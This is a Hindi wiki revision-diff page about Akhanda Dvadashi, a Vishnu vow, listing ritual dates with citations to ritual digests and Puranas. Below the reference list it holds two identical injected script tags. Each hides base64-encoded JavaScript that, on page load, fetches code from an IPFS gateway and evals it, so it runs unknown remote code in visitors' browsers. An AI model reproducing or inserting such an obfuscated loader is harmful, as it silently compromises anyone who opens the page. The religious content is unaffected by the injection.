अखण्ड द्वादशी: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
Line 2: Line 2:
*[[आषाढ़]] [[शुक्लपक्ष]] की [[एकादशी]] (आरम्भ उस दिन उपवास) एवं द्वादशी पर [[विष्णु]] पूजा, तिथिव्रज, एक वर्ष तक।  
*[[आषाढ़]] [[शुक्लपक्ष]] की [[एकादशी]] (आरम्भ उस दिन उपवास) एवं द्वादशी पर [[विष्णु]] पूजा, तिथिव्रज, एक वर्ष तक।  
*[[क्रिया]]-[[संस्कार|संस्कारों]] में जो अपूर्ण होती है, वह पूर्ण हो जाता है।<ref> कृत्यकल्पतरु (व्रतकाण्ड 344—347) एवं हेमाद्रि (व्रतखण्ड, 1, 1193—1105)</ref>  
*[[क्रिया]]-[[संस्कार|संस्कारों]] में जो अपूर्ण होती है, वह पूर्ण हो जाता है।<ref> कृत्यकल्पतरु (व्रतकाण्ड 344—347) एवं हेमाद्रि (व्रतखण्ड, 1, 1193—1105)</ref>  
*[[मार्गशीर्ष]] शुक्लपक्ष की [[द्वादशी]], यज्ञ, उपवास एवं व्रत में वैकल्य दूर करती है। <ref> हेमाद्रि व्रतखण्ड(1, 1117—1124), [[वामन पुराण]] 17|11–25; अग्नि0 (अध्याय 190); [[गरुड़ पुराण]] (1|118)</ref>
*[[मार्गशीर्ष]] शुक्लपक्ष की [[द्वादशी]], यज्ञ, उपवास एवं व्रत में वैकल्य दूर करती है। <ref> हेमाद्रि व्रतखण्ड(1, 1117—1124), [[वामन पुराण]] (17|11–25); अग्नि0 (अध्याय 190); [[गरुड़ पुराण]] (1|118)</ref>





Revision as of 08:30, 6 September 2010


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. कृत्यकल्पतरु (व्रतकाण्ड 344—347) एवं हेमाद्रि (व्रतखण्ड, 1, 1193—1105)
  2. हेमाद्रि व्रतखण्ड(1, 1117—1124), वामन पुराण (17|11–25); अग्नि0 (अध्याय 190); गरुड़ पुराण (1|118)

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>